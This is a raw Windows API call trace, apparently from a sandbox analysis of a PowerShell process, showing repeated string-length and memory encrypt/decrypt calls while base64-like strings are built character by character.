(param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xe2cc\x2502\x7e57\x954f\xd69b\xa64d\xaf25\x5e8f") returned 0x28 [0137.188] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG09揖DZ叔") returned 0x28 [0137.188] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xd2dd\xbc36\x9c6f\xa0b4\xb0ab\x1de8\x132a\x227f") returned 0x28 [0137.188] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xd2dd\xbc36\x9c6f\xa0b4\xb0ab\x1de8\x132a\x227f") returned 0x28 [0137.188] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094DZ叔") returned 0x28 [0137.188] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x93a9\x2a67\x8e3a\xadbe\xb935\x5b69\x5407\xf533") returned 0x28 [0137.188] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x93a9\x2a67\x8e3a\xadbe\xb935\x5b69\x5407\xf533") returned 0x28 [0137.188] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094U叔") returned 0x28 [0137.188] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xf05e\x893b\x7ea6\x63be\x6c5\x9c4a\xb19d\x1021") returned 0x28 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xf05e\x893b\x7ea6\x63be\x6c5\x9c4a\xb19d\x1021") returned 0x28 [0137.189] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.189] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094UC") returned 0x28 [0137.189] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6") returned 0x28 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6") returned 0x28 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6") returned 0x28 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6") returned 0x30 [0137.189] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.189] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094UCB갾霘䣉垆㠝픊簵") returned 0x30 [0137.189] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\xf261\xc697\x6e4a\xeb7c\x99a5\xfe95\xc877\x8045") returned 0x30 [0137.189] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\xf261\xc697\x6e4a\xeb7c\x99a5\xfe95\xc877\x8045") returned 0x30 [0137.190] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.190] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094UCBr霘䣉垆㠝픊簵") returned 0x30 [0137.190] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.190] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\x545f\xc21e\x7f11\x43ab\xaf7b\xfefb\x5095\xac8d") returned 0x30 [0137.190] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\x545f\xc21e\x7f11\x43ab\xaf7b\xfefb\x5095\xac8d") returned 0x30 [0137.190] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.190] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094UCBrs䣉垆㠝픊簵") returned 0x30 [0137.190] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.190] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\xb01b\x393\xf882\xdad1\x75ca\x50a9\x928\x2c07") returned 0x30 [0137.190] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\xb01b\x393\xf882\xdad1\x75ca\x50a9\x928\x2c07") returned 0x30 [0137.190] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.190] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG094UCBrs=垆㠝픊簵") returned 0x30 [0137.190] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.191] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.191] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.192] SysStringLen (param_1="") returned 0x8 [0137.192] SysStringLen (param_1="Y") returned 0x8 [0137.192] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.192] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.192] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.192] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.192] SysStringLen (param_1="YW") returned 0x8 [0137.192] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.192] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.192] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.193] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.193] SysStringLen (param_1="YWM") returned 0x8 [0137.193] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.193] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.193] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.193] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.193] SysStringLen (param_1="YWM1") returned 0x8 [0137.193] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.193] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.193] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.193] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.193] SysStringLen (param_1="YWM1O") returned 0x8 [0137.193] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.194] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.194] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.194] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.194] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.194] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.194] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.194] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.194] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.194] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.194] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.195] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.195] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.195] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.195] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.195] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.195] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.195] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.195] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.195] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.195] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.195] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.195] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.196] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.196] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.196] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.196] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.196] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.196] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.196] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.196] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.197] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.197] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.197] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.197] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.197] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.197] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.197] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.197] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.197] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.198] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.198] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.198] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.198] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.198] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.198] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.198] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.198] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.198] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.199] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.199] SystemFunction041 